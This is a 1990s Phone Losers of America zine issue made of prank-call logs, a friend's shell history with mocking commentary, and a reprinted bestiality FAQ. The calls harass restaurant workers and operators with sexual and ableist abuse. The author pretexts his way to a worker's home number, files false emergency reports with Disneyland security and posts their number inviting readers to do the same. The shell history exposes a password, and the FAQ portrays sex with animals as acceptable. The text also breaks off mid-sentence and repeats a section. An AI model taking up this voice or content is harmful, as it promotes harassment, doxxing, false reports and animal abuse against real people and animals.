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__ _____________. __________. . . . ............................
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_\/_ _\________ /| oF __\______ | pHONE lOSERS oF aMERICA :...
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\/\// ______/ |___/__ ___/ | ¦:
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hP!/ | | l / \/ | "Who are these people and why do they :
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/________l |__________/________.__l hate me?? What did I do?" - J. Heggie :
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. . .........................................................................:
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Here it is kiddies. What you have been waiting for. The gnu PLA and
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guess what. It isn't written by that looser redb0xchillipepper mainly because
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i felt like fucking writing. If you have a problem with it then go and harass
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some one because i really don't care. So without further adieu here is the
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lamest PLA to date(well mabey that one about hacking bbs's was gayer).
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Oh and the reason this is pla099.txt is just because i wanted to confuse
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you and make your little puny brain hurt.
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-Dr. Hate
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|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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|The Granite City Waffle House Harassment(just unprovoked good harassment)
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|______________________________________________________________________________
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<cashier>Granite City Waffle House
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<dhate> Yea what kind of waffle's do you guys have?
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<cashier>Regular and pecan waffle's sir.
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<dhate>What's the difference?
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<cashier>One has Pecan nuts and the other doesn't
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<dhate>How much is a pecan waffle?
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<cashier>$1.75 sir
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<dhate>$1.75 for a fucking waffle!!?
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<cashier>yes sir one pecan waffle is $1.75
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<dhate> that better be one big fucking waffle
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<cashier> It's slighty larger then a regular waffle sir
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<dhate> you guys don't put bourbon or anything like that in it?
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<cashier> Nope, just pecans sir.
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<dhate> what kind of pecans?
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<cashier> well, uh, i don't know sir. Just regular pecans i think
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<dhate> you are charging me $1.75 and you don't know what kind of pecans are
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in it?
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<cashier> mabey you should talk to the chef sir
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<dhate> yea i think so too
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The cashier goes and gets linda<the chef> and me and zak are just
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busting up laughing the whole time.
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<linda> hello?
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<dhate> Hi, what kind of pecans do you put in your pecan waffles?
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<linda> Just run of the mill pecans
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<dhate> you don't pay some mexican to pick them in brazil or anything?
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<linda> no sir, just regular pecan nuts
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<dhate> well how do i know that the pecan nuts you are serving are sanitary?
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<linda> sir you have my guarantee, all of our food is clean.
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<dhate> how do i know you didn't shoot those pecan nuts out your clit?
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<linda> sir i think that's kinda disgusting
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<dhate> well i want to be sure i am getting sanitary pecan nuts. After all I
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am paying $1.75 for one god damn waffle
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<linda> sir i assure you the waffle's are clean
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<dhate> well i don't believe you
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<linda> i'm sorry to hear that sir
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<dhate> if i bring in my own pecan nuts, could you cook me up some waffles
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using those?
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<linda> sir we can't do that
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<dhate> why the fuck not?
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<linda> it's against policy
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<dhate> yea but my pecan nuts are sanitary and i don't think yours are.
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<linda> sir i'm sorry but you can't bring in your own nuts
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<dhate> ARE YOU SAYING MY NUTS ARE UNSANITARY!?
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<linda> no sir i'm not, it's just against policy
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<dhate> SO YOU ARE SAYING MY NUTS ARE UNSANITARY AREN'T YOU?!
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<linda> *sigh*, no sir i didn't say that
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<dhate> WHY ARE MY NUTS UNSANITARY?
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<linda> (getting just a tad bit pissed) sir i did NOT say that, i just can't
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let you bring in pecan nuts
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<dhate> SO WHY DO YOU THINK MY NUTS ARE UNSANITARY?!
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<linda> SIR I DIDN'T SAY YOUR FUCKING NUTS WERE UNSANITARY YOU LITTLE FUCKHEAD
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AND I DON'T THINK YOUR VERY FUNNY AT ALL.
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<dhate> I DEMAND TO KNOW WHY MY NUTS ARE UNSANITARY!
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<linda> (Linda kinda went nuts after that. I heard a bunch of nawty werds and
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her yelling with other employees. She was yelling so loud me and zak heard
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some one tell her to shut up and then we hung up.)
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After a lot of calling up the waffle house and yelling "MY NUTS ARE
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UNSANITARY!" we finally stumbled upon linda's home fone #.
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<cashier> Granite City Waffle House
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<dhate> is linda working?
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<cashier> No she isn't sir
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<dhate> Damn! Do you know when the next time she will be working?
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<cashier> not for another two days
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<dhate> oh great, i need to get ahold of her very badly and all i have is her
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work number.
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<cashier> would you like her home fone # sir?
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<dhate> (FUCK WOULD I!) If you could give it to me it would be appreciated
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<cashier> no problem, just don't tell any one i gave it to you
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<dhate> Don't worry i won't
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And that's how we got her home fone #. Easy wasn't it. So we called
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her up at home and got this really cool guy.
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<husband> Hello?
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<dhate> is linda home?
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<husband> yes just a second
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<linda> hello
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<dhate> Hi linda i was calling in regards to why YOU THINK MY NUTS ARE
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UNSANITARY!
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<linda> Fuck off asshole, you little cock sucker(linda went more berserk this
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time then the first time)
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<husband> I KNOW ABOUT YOU GUYS, IF YOU DON'T LEAVE MY WIFE ALONE I'M GONNA
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KICK YOUR ASS
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<dhate> oh is that so pecan boy
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<husband> yea you think you are so funny, why don't you come down here and see
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how funny you really are
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<dhate> was that a physical threat pecan boy?
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<husband> GOD DAMN RIGHT IT WAS
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<dhate> you're so sexy when you're mad cupcake
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<husband> Oh you just laugh now funny boy, when i find you you're gonna wish
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you never got a fone!
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<dhate> oh is that so?
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<husband> leave my wife alone!
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<click>
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The next day they changed their number. I think that's a record.
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Even Glen Danzig let us call him twice. Well after awhile they said that
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linda didn't work there any more until one night i tricked them a good one!
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<cashier> Granite City Waffle House
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<dhate> can i speak to linda please
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<cashier> She doesn't work here any more
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<dhate> tell her this is her husband
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<cashier> Oh! hold on one moment(you can here linda yelling about why am i
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calling so late in the background)
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<cashier> she want's to know why you are calling so late
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<dhate> it's an emergency
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<cashier> OH!
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<linda> hello?
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<dhate> HEY PECAN BITCH, WHY ARE MY NUTS UNSANITARY?
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<linda> fuck you little punk
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<dhate> tricked you a good one didn't i?
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<linda> (once again she went berserk and we hung up the fone to her yelling at
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the top of her lungs)
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I'm gonna be moving up to Illinois soon and the first place i'm going
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is the waffle house so i can harass linda in person. So be expecting another
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file on linda!
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|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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|Recently my account was taken away from me because of reasons beyond my
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|control but Zak was nice enough to let me use his account and this is
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|what i found after he tried so hard to delete all evidence of his social
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|devience. These are his .bash_history and his .newsrc
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|_________________________________________________________________________
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who ;zak is looking for gurls to pimp!
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talk apok0lyp ttyp1 ;guess he found one and her name is bob!
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who
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talk apok0lyp@mtvernon1.basenet.net ;i have a feeling they were talking about
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; felching
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menu ;zak misses his good old windows gui i guess
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who ;still checking out the chicks
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exit ;self explanitory
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ls ;looking for porn!
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rm *.jpg ;found old porn and deleted
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rm *.gif ;there is nothing worst then old porn
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ls
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menu ;zak needs his menu so he can irc!
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irc el_jefe irc.mo.net ;he's gonna go get some cybersex now!
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ls
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ls
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ls ;i guess he covered his eyes the first two times he did an ls
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irc el_jefe irc.texas.net ;gonna go get some gnu gifs from #felch!
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e ;zak has that twitching problem and stuff
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ln
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menu
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menu
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exit
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menu
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dir ;zak you dos hacker!
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menu
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dir ;uhm
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exit
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menu
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menu
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dir ;kinda redundant isn't it
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menu
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rz ;u/l porn!
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dir ;zak's kinda slow on figuring out that dir don't work in unix
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menu
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dir ;i think my dog has figured out that dir don't work in unix by now
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sz mom10.gif jporshe.jpg preg-10.jpg ;for some odd reason i doubt jporshe.jpg
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; is about a car!
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rz
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dir ;oh my lord
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rm mom10.jpg ;deleting the porn so no one will know he's a wierdo
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rm mom10.gif ;GO AWAY PORN!
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rm preg-10.jpg
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dir
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rm jporshe.jpg
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ftp ;more porn any one?
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menu
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menu
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dir ; FOR CHRIST'S SAKE ZAK STOP USING DIR
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rm morhot.jpg ;come to ur own conclusion on what this is
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rm morhot.gif ;i don't think zak has figured out wildcards yet
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rm guesswho.jpg ;P0RN!
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rm daisy2.gif ;P0RN!
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rm asia1.jpg ;damn zak must go through vaseline like gerbils
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dir
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sz *.gif *.jpg ;now zak figures out how to use wildcards
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rm *.gif ;getting rid of the 0-DaY p0rn
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rm *.jpg
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dir
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exit
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exit
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dir
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menu
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menu
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dir
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sz *.jpg *.gif
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rm *.jpg
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dir
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rm *.gif ;zak kinda does the same thing alot don't he?
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dir
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exit
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menu
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ftp
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menu
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menu
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exit
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3xit ;notice the 3, he's still in kR4D m0d3!
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exit
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exit
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menu
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cd News;checking out the 0-DaY in the p0rn newsgroups
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ls
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sz *.gif
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menu
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ls
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rm * ;0H N0 TH3 W4R3Z 4R3 G0HN3!
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cd ..
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ls
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pico hank ;i have no clue what this is but i'll find out
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ls
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type ;still in d0s m0de
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type pla.irc ;l00k it's the famed pla.irc
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ls
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exit
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menu
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ls
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cd News ;need i say more p0rn?
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ls
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cd ..
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menu
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menu
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menu
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menu
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menu
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k ;evidence of zak's twitch
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menu
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/menu
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menu
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menu ;just can't get enough of that ascii menu
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exit
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menu
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ls
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menu
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ls
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menu
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ls
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pico .rhosts ;hey what's this!
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rm .rhosts ;i better rm it!
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type pla.irc ;there's that pla.irc thingie again
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ls
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pico pla.irc ;tsk tsk every one knows you are supposed to use vi zak
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ls
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fg
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ping basenet.net ;ping fludz!
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ping niggah.org ;zak is a secret nazi!
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ping niggah.com ;ditto
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ping oia.net ;uh getting kinda excessive with that ping command
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nslookup ;l00king for sites with p0rn
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fg
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ls
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cd ..
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cd eyers
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dir
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cd ..
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dir
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cd apok0lyp ;let's steal his warez!
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ls
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ls
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ls -la
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cd ..
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cd blinddog
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bye
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exit
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menu
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exit
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dir
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get ;getting p0rn probably involving felching and pigs
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rm hank ;destroying the evidence
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sz phoenix.* ;why the fuck would any one d/l phoenix?
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dir
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sz phoenix.txt
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menu
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dir
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edit
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veiw
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man
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man phoenix ;haha zak is looking for them manual pages for phoenix
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look ;look?
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look phoenix.txt
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see ;man cat there joey
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/dcc ;h3y i'm n0t 0n irc but 3y3 w1ll still dcc warez!
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exit
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ls
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menu
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menu
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ls
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cd News
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ls
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sz *.gif *.jpg ;can't get enough porn
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ls
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rm *
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cd ..
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ls
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pubcat
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cat ;zak found the command!
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cat --help
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cat pla.irc ;hey it's that pla.irc script again!
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ls
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type
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exit
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pine ;"holy shit i got mail!"
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ls
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menu
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exit
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ls ;blah
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menu
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menu
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exit ;blah
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ls
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sz
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get
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menu
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ls
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sz pla.irc ;no clue as why he d/l this
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ls
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cd ..
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cd eyers
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ls
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cd mail ;blah
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la -la
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ls -la
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cd ..
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cd blinddog ;checking out his 0-DaY
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cd apok0lyp
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ls
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cd ..
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ls
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bye
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exit
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menu
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ls
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sz pla.irc ;uh i thought u already d/l this
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sz ftr
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**0800000000022d ;zak got flashed!
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sz ftr.irc
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ls
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menu
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ls
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cd news
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cd News ;m0re p0rn aga1n
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ls
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rm cax.jpg ;i have no idea what a cax is but i'm scared, very scared
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menu
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ls
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sz *.JPG ;m0re porn then you can shake a stick at
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sz *.jpg
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sz *.gif
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**0800000000022d
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**0800000000022d ;stop flashing me!
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**0800000000022d
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rm * ;bye bye p0rn
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cd ..
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ls
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cd ..
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cd fuckme ;hey now, no need to get vulgar
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cd paok0lyp
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cd apok0lyp
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ls
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cd ..
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cd blinddog
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cd ..
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cd deter ;looking f0r deters gifs
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exit
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menu
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ls
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cd News
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ls
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sz *.jpg
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sz rob*
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**0800000000022d
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**0800000000022d ;flashed yet again
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**0800000000022d
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rm *
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exit
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menu
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who
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who stb ;cruising the net!
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who
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who
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exit
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who ;he sp0tted a chick!
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who
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exit
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||
menu
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exit
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pine ;hey how come they don't say "you've got mail" any more?
|
||
menu
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||
menu
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exit
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||
who
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finger eyers ;that's just fucking disgusting
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||
menu
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pine
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ls
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ping i1.net ;he's ping fluding again
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||
dir ;BITCH HAVEN'T YOU FIGURED OUT DIR DON'T WORK IN UNIX YET
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||
exit
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||
finger ralphc ;much more of this and i'm gonna puke
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||
ls
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cd ..
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cd eyers
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ls
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cd ..
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cd native ;looking for them tanned boys
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exit
|
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menu
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||
exit
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||
menu
|
||
exit
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||
irc goon irc.mo.net ;fun
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irc goon irc.winternet.com ;more fun
|
||
irc goon irc.texas.net ;too much fun
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irc goon irc.texas.net :6665 ; oh geez it ain't that hard to irc without a
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;menu
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irc goon irc.texas.net:6665
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||
exit
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passwd ;my passwd is :If3lcH4g0d
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exit
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||
ls\ ;twitch
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||
\ ;twitch
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who
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cd ..
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||
cd eyers
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||
ls
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||
ls -al
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||
/bye
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exit
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||
ls
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del .newsrc ;rm'ing all his pornographic evidence with dos commands
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rm .newsrc ;little does zak know, i have his .newsrc and it's right after
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;this file
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ls -la ;making sure there is no p0rn for me to laugh at
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cd News
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ls
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cd ..
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||
ls
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who
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who
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who
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exit
|
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who
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who
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exit ;end of zak's .bash_history
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.newsrc
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alt.2600: 1-9766,9846,9848-9851,9854-9856,9860,9890,9900,9997,10198,10283
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;i guess zak likes to talk to ppl from aol and 12 year olds
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alt.drugs: ;notice all articles have been read
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alt.sex.stories: 1-4898,4920,4932-4935,4937,4997,5014,5035,5057,5075,5143,5185,5219,5277,5304,5315,5323-5325,5363
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alt.sex.fetish.smoking! 1-518,525-530,533-534,556-557,560,565-566
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alt.binaries.pictures.erotica.orientals: 1-4897
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alt.binaries.pictures.tasteless: 1-1374,1376-1377,1395,1430,1449,1471
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;this one is actually kinda cool and makes my nipples perky
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alt.binaries.pictures.erotica.pornstar: 1-2826,2972
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alt.binaries.pictures.erotica.black.females! 1-1412,1465-1467,1470,1531
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alt.binaries.pictures.black.erotic.females! 1-1024,1109,1128-1129
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alt.binaries.pictures.erotica.pornstars: 1-533
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alt.binaries.pictures.nude.celebrities: 1-1653,1723,1758,1781-1782,1790
|
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alt.sex.first-time! 1-141,160,163,166,173
|
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;all p0rn but there is still more
|
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alt.folklore.herbs: ;all read
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alt.drugs.psychedelics: ;gee wally, you think the beaver has a drug problem?
|
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alt.drugs.pot: ;don't bogart that joint!
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alt.sex.fat! 1-788,807 ;just fucking gross
|
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alt.sex.fetish.fa! 1-740,778,792-793,816 ;porn
|
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alt.binaries.pictures.erotica.cartoons! 1-1125,1151,1155 ;porn
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alt.hemp.recreational: 1-31,67 ;hey a druggie newsgroup and it still has
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;articles not read!
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alt.binaries.pictures.erotica.redheads: 1-1326 ;firecroch!
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alt.binaries.pictures.erotica.latina: 1-652,686,735,738 ;beaners!
|
||
alt.binaries.pictures.erotica.female.anal:769-770,796 ;my hole is still swolen!
|
||
alt.binaries.pictures.lesbians: 1-1730,1748,1835-1836,1842
|
||
alt.binaries.pictures.erotica.pregnant: 1-473,521 ;uh that's just plain wierd
|
||
alt.binaries.pictures.erotica.lesbians: 1-75,81
|
||
alt.binaries.pictures.dorks: 1-29;haha i think greg carson needs a gif in here
|
||
alt.binaries.pictures.erotica.teen.fuck: 1-31 ;pedophile!
|
||
alt.binaries.phonecards: ;K0D3Z!
|
||
alt.binaries.pictures.erotica.transvestites! 1 ;rocky horror picture show
|
||
alt.binaries.pictures.erotica.midgets: ;a pla favorite
|
||
alt.binaries.pictures.nudism.celebrities: 1-38 ;I G0T TINA TURNER NEKID!
|
||
;end of .newsrc
|
||
|
||
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
| A few nights ago me and zak were harassing people like usuall when I
|
||
|came up with a brilliant idea. Lets torture OCI untill they break and
|
||
|go nuts. And so it began, the harassment of OCI.
|
||
|____________________________________________________________________________
|
||
|
||
<Abe>This is Abe may i help you.
|
||
<dhate> yea, do a kick flip for me
|
||
<Abe> uh what was that sir?
|
||
<dhate> are you deformed or something? I said do a kick flip
|
||
<Abe> i can't do that sir
|
||
<dhate> Why the fuck not? You got a peg leg or something?
|
||
<Abe> no sir
|
||
<dhate> you some kind of mutant or something?
|
||
<Abe> no sir
|
||
<dhate> then do a fucking kickflip
|
||
<Abe> i can't sir
|
||
<dhate> listen here stumpy, i want you to do a flip right now or i'm gonna
|
||
come down there and ram your stump up your ass!
|
||
<Abe> hold on while i transfer you sir
|
||
<sherry> THis is sherry may i help you
|
||
<dhate> yea i want you to say "go away pla"
|
||
<sherry> sir can i help you in making a call?
|
||
<dhate> no i want you to say "go away pla"
|
||
<sherry> i'm disconnecting the line, thank you for using OCI
|
||
<Abe> This is Abe may i help you
|
||
<dhate> STUMPY! How's it going you mutant bitch
|
||
<Abe> sir would you like to make a call
|
||
<dhate> hey stumpster transfer me you stumpy guy you
|
||
<sherry> This is sherry how can i assist you?
|
||
<dhate> you can assist me by giving me a hand job
|
||
<sherry> excuse me sir?
|
||
<dhate> just say "go away pla" and we go away
|
||
<sherry> disconnecting line
|
||
<claris> This is Claris may i help you
|
||
<dhate> hi claris you have a lovely voice
|
||
<claris> uh thank you, can i assist you in making a call
|
||
<dhate> i love you claris
|
||
<claris> sir?
|
||
<dhate> i want to make mad love to you claris
|
||
<claris> please hold while i transfer you
|
||
<james> This is james may i help you
|
||
<dhate> yea you can say "go away pla"
|
||
<james> i can't do that
|
||
<dhate> SAY IT BITCH
|
||
<james> disconnecting line
|
||
<stumpy> this is abe may i help you
|
||
<dhate> STUMPY! THE STUMPSTER! THE STUMPOMATIC, THE STUMPMIESTER, STUMPARELLA
|
||
STUMPY-1 KANOBE!
|
||
<stumpy> please hold while i transfer you
|
||
<zak> hit that transfer button with your stump!
|
||
<james> This is james may i help you
|
||
<dhate> you can say it bitch
|
||
<james> fuck off
|
||
<dhate> say it now
|
||
<james> go tell your mom she can't suck a good dick
|
||
<dhate> that wasn't funny there hick boy, now say it
|
||
<james> disconnecting line
|
||
<claris> this is claris may i help you
|
||
<dhate> i love you claris
|
||
<claris> sir would you like to make a call?
|
||
<dhate> yes i want to call you at home
|
||
<claris> sir i'm transfering you
|
||
<dhate> don't be mad claris, i love youuuuuuuu!
|
||
<james> Hello again
|
||
<dhate> heh, say it and we leave you alone
|
||
<james> i ain't gonna say shit
|
||
<dhate> say it motherfucker
|
||
<james> so how's the defcon voice bridge?
|
||
<dhate&zak> what?
|
||
<james> i know about you hackers!
|
||
<zak> we are the hohocon hackers!
|
||
<dhate> say it bitch
|
||
<james> disconnecting line
|
||
<Carmen> This is Carmen may i help you?
|
||
<dhate> Hi Carmen, could you please transfer me to your supervisor.
|
||
<carmen> sure, please hold
|
||
<zak> carmen wants it!
|
||
<james> Hello again
|
||
<dhate> are you gonna say it now?
|
||
<james> nope i ain't
|
||
<dhate> hey jamie don't it suck not having our ani
|
||
<zak> do you even know what ani stands for there james?
|
||
<james> fuck off
|
||
<dhate(singing)> JAMES DON'T KNOW WHAT ANI IS.. NEENER NEENER
|
||
<james> disconnecting line
|
||
<Claris> This is claris may i help you
|
||
<dhate> i want to mary you
|
||
<claris> sir, would you please leave me alone
|
||
<dhate> but claris i love you! i want to hold you forever!
|
||
<claris> transfering
|
||
<angela(in a weary voice)> hello this is the oci operator how can i help you
|
||
<dhate> you can say "go away pla" and i will leave you alone
|
||
<angela> disconnecting line
|
||
<stumpy> This is Abe may i help you
|
||
<dhate> YOU ONE LEGGED FREAK OF NATURE!
|
||
<stumpy> *sigh*
|
||
<dhate> doesn't it suck not being able to kill yourself because you have stumps
|
||
<stumpy> transfering
|
||
<james> hello again
|
||
<dhate> heh, you gonna say it now motherfucker
|
||
<james> i got pictures of you hackers at the tropicana!
|
||
<dhate> uh ok now say it
|
||
<james> i was at defcon!
|
||
<dhate> that's nice now say "go away pla"
|
||
<james> no
|
||
<dhate> JAMMIE DON'T KNOW WHAT ANI IS.. NEENER NEENER
|
||
<james> disconnecting line
|
||
<claris> this is claris may i help you
|
||
<dhate> i am madly in love with you honey
|
||
<claris> sir..
|
||
<dhate> don't be mad at me cupcake, i love you
|
||
<claris> transferring
|
||
<angela> this is angela may i help you
|
||
<dhate> you can say it and we will stop calling you
|
||
<angela> sir i'm not going to say it and don't you have anything better to do
|
||
then call us up for 2 hours straight?
|
||
<dhate> nope, that's what makes me a phone looser
|
||
<angel> disconnecting line
|
||
Me and Zak called for another hour. Poor stumpy sounded like he was
|
||
seriously gonna go commit suicide and claris was just too confused about the
|
||
whole situation. She almost gave me her number once. Carmen thought i was
|
||
just peachy keen because i never harassed her. And poor angela kept on
|
||
ansering the fone and then we finally broke her.
|
||
<angela> sir please stop calling
|
||
<dhate> all you have to do is say those three magic words
|
||
<angela> what did you want me to say?
|
||
<dhate> go away pla
|
||
<angela> GO AWAY PLA I'M NOW DISCONNECTING THE LINE
|
||
<dhate> thank you, wasn't that hard was it
|
||
i thought zak was gonna die he was laughing so hard and now whenever i
|
||
get angela all i have to do is say "say it" and she does. One of the perks of
|
||
being a phone looser)
|
||
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
| Awhile ago i stumbled upon DisneyLands vmb system. It was fun for a
|
||
|few days but got old real quick since all they talk about is stuffed animals
|
||
|and felching. So i scanned some boxes and found the number to Disneyland
|
||
|security. Which was rather keen i thought. So here is a log of me and Zak
|
||
|harassing the most wonderful place on earth. Oh if you want to harass
|
||
|them too then just dial 714-999-4330 and remember to say that you are Roy.
|
||
|___________________________________________________________________________________________________________________________________________
|
||
|
||
|
||
<officer> Disneyland security, may i help you
|
||
<Zak> Yea this is Roy at the tiltawhirl. It seems we have a major problem.
|
||
<officer> And what is that sir?
|
||
<Zak> One of the tiltawhirl cups went haywire and flew off and landed on some
|
||
poor old lady. I think she's dead.
|
||
<officer> Oh is that so?
|
||
<Zak> Yes it is
|
||
<officer> Sir we don't have a tiltawhirl inside the park. Stop playing on the
|
||
fone.
|
||
<Zak> No!
|
||
<Click!>
|
||
|
||
<officer> Disneyland Security
|
||
<Zak> Hi, this is Roy the janitor.
|
||
<officer> What can i do for you Roy
|
||
<Zak> There's this guy that is making people watch him take a poo.
|
||
<officer> He's what?
|
||
<Zak> He's making people watch him take a poo. He just grabs them and shoves
|
||
their head down there and he takes a poo! Some poor old lady is tramautized.
|
||
<officer> What did this man look like?
|
||
<Zak> He was 5'7, black hair, black eyes, and he's wearing a trenchcoat.
|
||
<officer> Ok
|
||
<Zak> He's making people look at his poo for god's sake!
|
||
<officer> Were did you spot him at?
|
||
<Zak> By it's a small world
|
||
<officer> We'll send somebody out right now
|
||
<Zak> Thanks!
|
||
<Click!>
|
||
|
||
|
||
<officer> Disneyland Security
|
||
<dhate> Hi
|
||
<officer> uh hello
|
||
<dhate> we are inside the underground tunnels and you can't do anything about
|
||
it!
|
||
<officer> Just what are you doing down there?
|
||
<dhate> Urinating in the corner
|
||
<officer> that's all?
|
||
<dhate> Yup what are you gonna do about it mister!
|
||
<officer> You aren't terrorists or anything?
|
||
<dhate> Nope, i'm just a fone loozer!
|
||
<officer> Can you hold for a moment?
|
||
<dhate> Sure, i'll give you some time to pull my ani
|
||
...
|
||
<officer> Sir, you're not calling from inside the park
|
||
<dhate> It sure looks like i am
|
||
<officer> well you aren't
|
||
<dhate> and just how do you know that?
|
||
<officer> because it says so right here
|
||
<dhate> Well read off my ani then
|
||
<officer> i don't have that yet but if you wait 10 more seconds i will
|
||
<dhate> 10!
|
||
<dhate> 9!
|
||
<dhate> 8!
|
||
<dhate> 7!
|
||
<dhate> 6!
|
||
<dhate> 5!
|
||
<dhate> 4!
|
||
<dhate> 3!
|
||
<dhate> 2!
|
||
<Click!>
|
||
|
||
<officer> Disneyland Security
|
||
<dhate> Yea this is Roy at the castle, some guy is sitting on top of the
|
||
castle and throwing spam at passerby's! He almost got me that time!
|
||
<officer> Are you serious?
|
||
<dhate> Oh quite serious.
|
||
<Zak> OH SHIT HE JUST KNOCKED OUT A KID WITH SPAM!
|
||
<dhate> i think you better do something quick.
|
||
<officer> what do you suggest?
|
||
<Zak> Can you bring out the helicopters and scuba divers?
|
||
<dhate> don't forget the ninja's!
|
||
<officer> why would we need all that?
|
||
<Zak> Because the guy is dangerous!
|
||
<officer> Well just keep on talking to us guys
|
||
<dhate> why's that?
|
||
<officer> so we can get your fone number
|
||
<dhate> why would you want that?
|
||
<Zak> so he can molest us!
|
||
<officer> just keep on talking funny guys
|
||
<Click!>
|
||
|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||
|D0uds, these are two of the most ueber faqs i have found in my whole
|
||
|life. They are so elite Mitnick himself would be proud. So read them if
|
||
|you have the time and read them if you don't. These faqs just plain rool.
|
||
|____________________________________________________________________________
|
||
|
||
****************************************************************************
|
||
#BEASTSEX/#DOGSEX FAQ
|
||
Last Updated: November 7th, 1995 by ChicknPie
|
||
****************************************************************************
|
||
|
||
|
||
============================================================================
|
||
PART 1: INTRODUCTION
|
||
============================================================================
|
||
|
||
This FAQ is made available to answer some of the most common questions about
|
||
zoophilia. If you have any other questions, do not hesitate to ask someone.
|
||
|
||
Please note that the bulk of this FAQ is borrowed from the ASB FAQ. I've also
|
||
changed some of the sections which did not apply to IRC. The ASB FAQ is also
|
||
a good resource, as it covers a number of topics that are not covered here.
|
||
|
||
The ASB FAQ is avaiable from a number of places, including:
|
||
- WWW: One of several Zoo pages (Try doing a web search on Bestiality or
|
||
Zoophile)
|
||
- NEWS: This FAQ is supposed to be posted to alt.sex.bestiality once or
|
||
twice a month.
|
||
- EMAIL: kayotae@phantom.com
|
||
|
||
Thanks in advance for reading this, and more importantly, for your interest.
|
||
|
||
(DISCLAIMER)
|
||
This document is by no means complete. The purpose of this document is to
|
||
discuss some of the common questions and answers. Answers to questions of
|
||
legality, etc must be found elsewhere.
|
||
|
||
No one can be held responsible for any actions you take after reading this
|
||
FAQ. Period. Use common sence, and don't break and laws (trespassing/etc)
|
||
and you should be OK.
|
||
|
||
============================================================================
|
||
1 - What is bestiality? Zoophilia?
|
||
============================================================================
|
||
Bestiality is, by textbook definition, sexual contact between a human
|
||
being and a non-human animal. Zoophilia is, by textbook definition,
|
||
an emotional attachment to an animal that causes a human being to prefer
|
||
a non-human animal as a companion and / or a sexual partner. These
|
||
definitions are generally accepted around here :) Many zoophiles have
|
||
extremely close, emotional relationships with their non-human partners
|
||
and many bestialists enjoy the pleasure they can give and receive from
|
||
their lovers.
|
||
|
||
============================================================================
|
||
2 - Why is #dogsex and #beastsex here?
|
||
============================================================================
|
||
#beastsex (abv #BS) and #dogsex (abv #DS) is a permanent channel, meaning it's
|
||
there any time of day, and time of the week. The primary topic of discussion
|
||
is zoophila, but we talk about just about anything. Most of the channel regulars
|
||
are active zoos (short for zoophiles), but non-active zoos and non-zoos are
|
||
welcomed as well. We're happy to answer any questions related to inter-species
|
||
relationships.
|
||
|
||
There are a couple of things that #DS and #BS are *NOT* for:
|
||
- No Netsex (Cybersex, etc..)
|
||
- No Flames
|
||
- No Picture Trading/Begging (try #sexpics instead)
|
||
|
||
Just remember the basic rules of ediquette apply, and you'll do alright. :)
|
||
Thanks.
|
||
|
||
|
||
============================================================================
|
||
3 - Do people on this channel actually have sexual relations with animals?
|
||
============================================================================
|
||
Of course! There are also many here who have not had sexual relationships with
|
||
animals but are interested or have questions related to it.
|
||
|
||
============================================================================
|
||
4 - How many people have sex with animals?
|
||
============================================================================
|
||
[ This section written by Redvane Fox (redvane@atheling.demon.co.uk) ]
|
||
|
||
There have been various studies but to my mind they are all flawed or
|
||
dated. The most famous is that of Alfred Kinsey et al in the late 40's /
|
||
early 50's USA which reported that 8 percent of men and 3.5 percent of
|
||
women had "on some occasion, had sexual contact with an animal." In
|
||
some rural areas, the figures for males were as high as 50 percent.
|
||
However, this was a time when the chances of a 16-year-old farmer's son
|
||
getting a human partner to do more than hold hands was virtually nil.
|
||
Thus, animal contacts would have been more common then than now. Also,
|
||
given the decline of farming in America and Europe and the increasing
|
||
urbanisation of populations, I would venture a guess that there are
|
||
somewhere in the region of 2 to 4 percent of men have had some sort of
|
||
sexual experience with a non-human. Masters and Johnson reported less
|
||
than 2 percent of women had sexual contact with an animal (dogs mainly)
|
||
but others have estimated that the true figure was probably higher
|
||
(let's face it, if someone comes up to you and asks "Do you fuck
|
||
animals?" would you give them a straight answer?)
|
||
|
||
It's also important to know that for very many people who do have sex
|
||
with a non-human in, say, adolescence, they don't carry it on into
|
||
adulthood - it's a teenage experiment, part of exploring the wonderful
|
||
world of sex. Two of my friends have (over much beer) admitted to me that
|
||
they've "played around" with animals when they were teenagers but went on
|
||
to have "normal" hetero partnerships (although they both said they had no
|
||
regrets and might try it again if the circumstances were right). Of
|
||
people who have had sex with animals once, liked it and stayed or those
|
||
whose attraction to animals was there from the very beginning is perhaps
|
||
less than 0.1 percent of the population. To quote Midas Dekker's
|
||
"Dearest Pet":
|
||
|
||
"Earlier in this chapter I estimated the percentage of human beings that
|
||
have sexual experiences with animals at a few percent. If you include
|
||
in bestiality only the people who have sex *exclusively* with animals
|
||
then the percentage falls far below 1 percent. Bestiality requires
|
||
imagination and people with imagination usually have no flies on them.
|
||
On the other hand, if you drop the requirement that for sexual contact
|
||
something has to be inserted somewhere and that something has to be
|
||
fiddled with and it is sufficient simply to cuddle, to derive a warm
|
||
feeling from each other, to kiss perhaps at times, in brief to love,
|
||
then bestiality is not a deviation but the general rule, not even
|
||
shameful, but the *done thing*. After all, who does not wish to be
|
||
called an animal lover?"
|
||
|
||
============================================================================
|
||
5 - Can I make my animal pregnant by having sex with her?
|
||
============================================================================
|
||
Absolutely not. Because of things like chromosome counts, body temperatures
|
||
and genetic codes, human animals cannot impregnate other animals. However,
|
||
if you do wind up impregnating your lover, call me immediately! I could
|
||
make, err, make you, a bundle selling your story to the tabloids! <grin>
|
||
|
||
============================================================================
|
||
6 - Isn't sex with animals unethical? Blasphemous? Cruel?
|
||
============================================================================
|
||
Cruel treatment of animals is one of the few c
|
||
|
||
|
||
|
||
============================================================================
|
||
5 - Can I make my animal pregnant by having sex with her?
|
||
============================================================================
|
||
Absolutely not. Because of things like chromosome counts, body temperatures
|
||
and genetic codes, human animals cannot impregnate other animals. However,
|
||
if you do wind up impregnating your lover, call me immediately! I could
|
||
make, err, make you, a bundle selling your story to the tabloids! <grin>
|
||
|
||
============================================================================
|
||
